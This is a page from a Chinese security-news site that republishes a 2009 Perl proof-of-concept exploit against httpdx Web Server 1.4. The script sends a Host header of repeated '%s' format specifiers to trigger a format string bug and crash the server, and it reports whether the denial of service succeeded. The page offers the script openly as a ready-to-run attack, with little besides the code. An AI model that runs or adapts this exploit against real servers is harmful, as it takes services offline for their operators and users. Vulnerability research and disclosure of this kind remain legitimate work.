首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
httpdx Web Server 1.4 (Host Header) Remote Format String DoS Exploit
来源:http://www.pank4j.com 作者:Pankaj 发布时间:2009-09-15  

# httpdx Web Server 1.4 'Host Header' Remote Format String Denial of Service PoC
#
# Coded by Pankaj Kohli
# http://www.pank4j.com
#
# httpdx web server 1.4 is vulnerable to a remote format string vulnerability through the Host header.
# The vulnerability lies in httpd_src/http.cpp in h_readrequest() : snprintf(temp[1],MAX,client->host);
#

use LWP;

(($target = $ARGV[0]) && ($port = $ARGV[1])) || die "Usage: $0 <target> <port> \n";

my $ua = new LWP::UserAgent;
print "Connecting to $target on port $port\n";
my $request = new HTTP::Request('GET', "http://" . $target . ":" . $port);
print "Sending evil header \n";
my $host_header =  "%s"x32;
$request->header('Host', $host_header); my $response = $ua->request($request);

if ($response->is_success) { print "DoS Failed \n" }
else { print "DoS Successful \n" }


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Invisible Browsing 5.0.52 (.ib
·Portable E.M Magic Morph 1.95b
·Joomla Component AlphaUserPoin
·Techlogica HTTP Server 1.03 Ar
·Oracle Secure Backup Server 10
·MP3 Studio 1.0 (.m3u File) Loc
·Mozilla Firefox < 3.0.14 Multi
·IPSwitch IMAP Server <= 9.20 R
·Siemens Gigaset SE361 WLAN Rem
·Mozilla Firefox 2.0.0.16 UTF-8
·IBM AIX 5.6/6.1 _LIB_INIT_DBG
·FtpXQ FTP Server 3.0 Remote De
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved